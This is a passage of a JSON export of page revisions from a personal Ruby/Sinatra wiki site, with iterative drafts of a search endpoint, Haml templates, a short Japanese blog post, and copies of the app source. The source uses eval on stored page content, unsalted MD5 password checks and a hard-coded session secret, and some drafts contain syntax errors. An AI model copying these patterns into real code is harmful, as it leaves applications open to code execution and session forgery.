Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2015-05-06T07:08:15.000Z","updated_at":"2015-05-06T07:08:15.000Z"},{"id":2842,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\")\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.text.slice(0,60), x.text.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json","created_at":"2015-05-06T07:10:29.000Z","updated_at":"2015-05-06T07:10:29.000Z"},{"id":2843,"name":"reindex","body":"ruby\r\nPage.select('distinct name').each{|x|\r\n p = Page.where(name: x.name).order('id desc').first\r\n s = SearchIndex.where(page_name: p.name).first_or_initialize\r\n s.body = p.body\r\n s.page_id = p.id\r\n s.save\r\n}\r\nDir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n\"success\"","created_at":"2015-05-06T07:11:40.000Z","updated_at":"2015-05-06T07:11:40.000Z"},{"id":2844,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\")\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.text.slice(0,60), x.text.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json\r\n\r\nids.to_json","created_at":"2015-05-06T07:15:52.000Z","updated_at":"2015-05-06T07:15:52.000Z"},{"id":2845,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.text.slice(0,60), x.text.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json","created_at":"2015-05-06T07:16:16.000Z","updated_at":"2015-05-06T07:16:16.000Z"},{"id":2846,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json","created_at":"2015-05-06T07:16:27.000Z","updated_at":"2015-05-06T07:16:27.000Z"},{"id":2847,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json\r\n\r\nrequest.params['q']","created_at":"2015-05-06T07:18:13.000Z","updated_at":"2015-05-06T07:18:13.000Z"},{"id":2848,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json\r\n\r\nids","created_at":"2015-05-06T07:18:25.000Z","updated_at":"2015-05-06T07:18:25.000Z"},{"id":2849,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json\r\n\r\nids.to_json","created_at":"2015-05-06T07:18:31.000Z","updated_at":"2015-05-06T07:18:31.000Z"},{"id":2850,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json\r\n\r\npages.count","created_at":"2015-05-06T07:18:47.000Z","updated_at":"2015-05-06T07:18:47.000Z"},{"id":2851,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\npages.map{|x| [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]}.to_json\r\n\r\npages.count.to_s","created_at":"2015-05-06T07:19:14.000Z","updated_at":"2015-05-06T07:19:14.000Z"},{"id":2852,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\n\r\nary.count.to_s","created_at":"2015-05-06T07:19:43.000Z","updated_at":"2015-05-06T07:19:43.000Z"},{"id":2853,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\n\r\nary.to_json","created_at":"2015-05-06T07:19:50.000Z","updated_at":"2015-05-06T07:19:50.000Z"},{"id":2854,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\npages.count","created_at":"2015-05-06T07:20:00.000Z","updated_at":"2015-05-06T07:20:00.000Z"},{"id":2855,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\npages.count.to_s","created_at":"2015-05-06T07:20:12.000Z","updated_at":"2015-05-06T07:20:12.000Z"},{"id":2856,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\nSearchIndex.count.to_s","created_at":"2015-05-06T07:20:53.000Z","updated_at":"2015-05-06T07:20:53.000Z"},{"id":2857,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\nSearchIndex.first.body","created_at":"2015-05-06T07:21:04.000Z","updated_at":"2015-05-06T07:21:04.000Z"},{"id":2858,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\n\r\nids.to_json","created_at":"2015-05-06T07:21:39.000Z","updated_at":"2015-05-06T07:21:39.000Z"},{"id":2859,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\n\r\nSearchIndex.last.body","created_at":"2015-05-06T07:22:12.000Z","updated_at":"2015-05-06T07:22:12.000Z"},{"id":2860,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\n\r\nids.count.to_s","created_at":"2015-05-06T07:22:31.000Z","updated_at":"2015-05-06T07:22:31.000Z"},{"id":2861,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\n\r\nids.count.to_s\r\n\r\n\"%#{request.params['q']}}%\"","created_at":"2015-05-06T07:22:53.000Z","updated_at":"2015-05-06T07:22:53.000Z"},{"id":2862,"name":"search","body":"ruby\r\nmime application/json\r\nids = SearchIndex.where(\"body like ?\", \"%#{request.params['q']}%\").map{|x| x.page_id}\r\npages = Page.where(id: ids)\r\nary = pages.map{|x| \r\n [x.name, x.body.slice(0,60), x.body.length, Time.at(x.created_at.to_i).getutc.to_s]\r\n}\r\nary.to_json","created_at":"2015-05-06T07:23:08.000Z","updated_at":"2015-05-06T07:23:08.000Z"},{"id":2863,"name":"pwd","body":"Dir.pwd","created_at":"2015-05-06T07:48:55.000Z","updated_at":"2015-05-06T07:48:55.000Z"},{"id":2864,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\nt end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2015-05-06T07:57:03.000Z","updated_at":"2015-05-06T07:57:03.000Z"},{"id":2865,"name":"text/自宅のサーバーが最近また不安定なので","body":"%blog%\r\n\r\nここを Heroku に置いた。\r\n\r\nいろいろだるいけどまあなんとかなるし、最初にだるいことしてしまえばあとは圧倒的に安定して運用できるだろう。","created_at":"2015-05-06T07:59:00.000Z","updated_at":"2015-05-06T07:59:00.000Z"},{"id":2866,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -ids = SearchIndex.where('page_name like ?\", \"text/%\").map{|x| x.page_id}\r\n -Page.where(id: ).order(\"id desc\").each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{URI.encode p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2015-05-06T08:00:51.000Z","updated_at":"2015-05-06T08:00:51.000Z"},{"id":2867,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -ids = SearchIndex.where('page_name like ?\", \"text/%\").map{|x| x.page_id }\r\n -Page.where(id: ids).order(\"id desc\").each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{URI.encode p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2015-05-06T08:01:12.000Z","updated_at":"2015-05-06T08:01:12.000Z"},{"id":2868,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -ids = SearchIndex.where('page_name like ?', \"text/%\").map{|x| x.page_id }\r\n -Page.where(id: ids).order(\"id desc\").each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{URI.encode p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2015-05-06T08:01:29.000Z","updated_at":"2015-05-06T08:01:29.000Z"},{"id":2869,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n 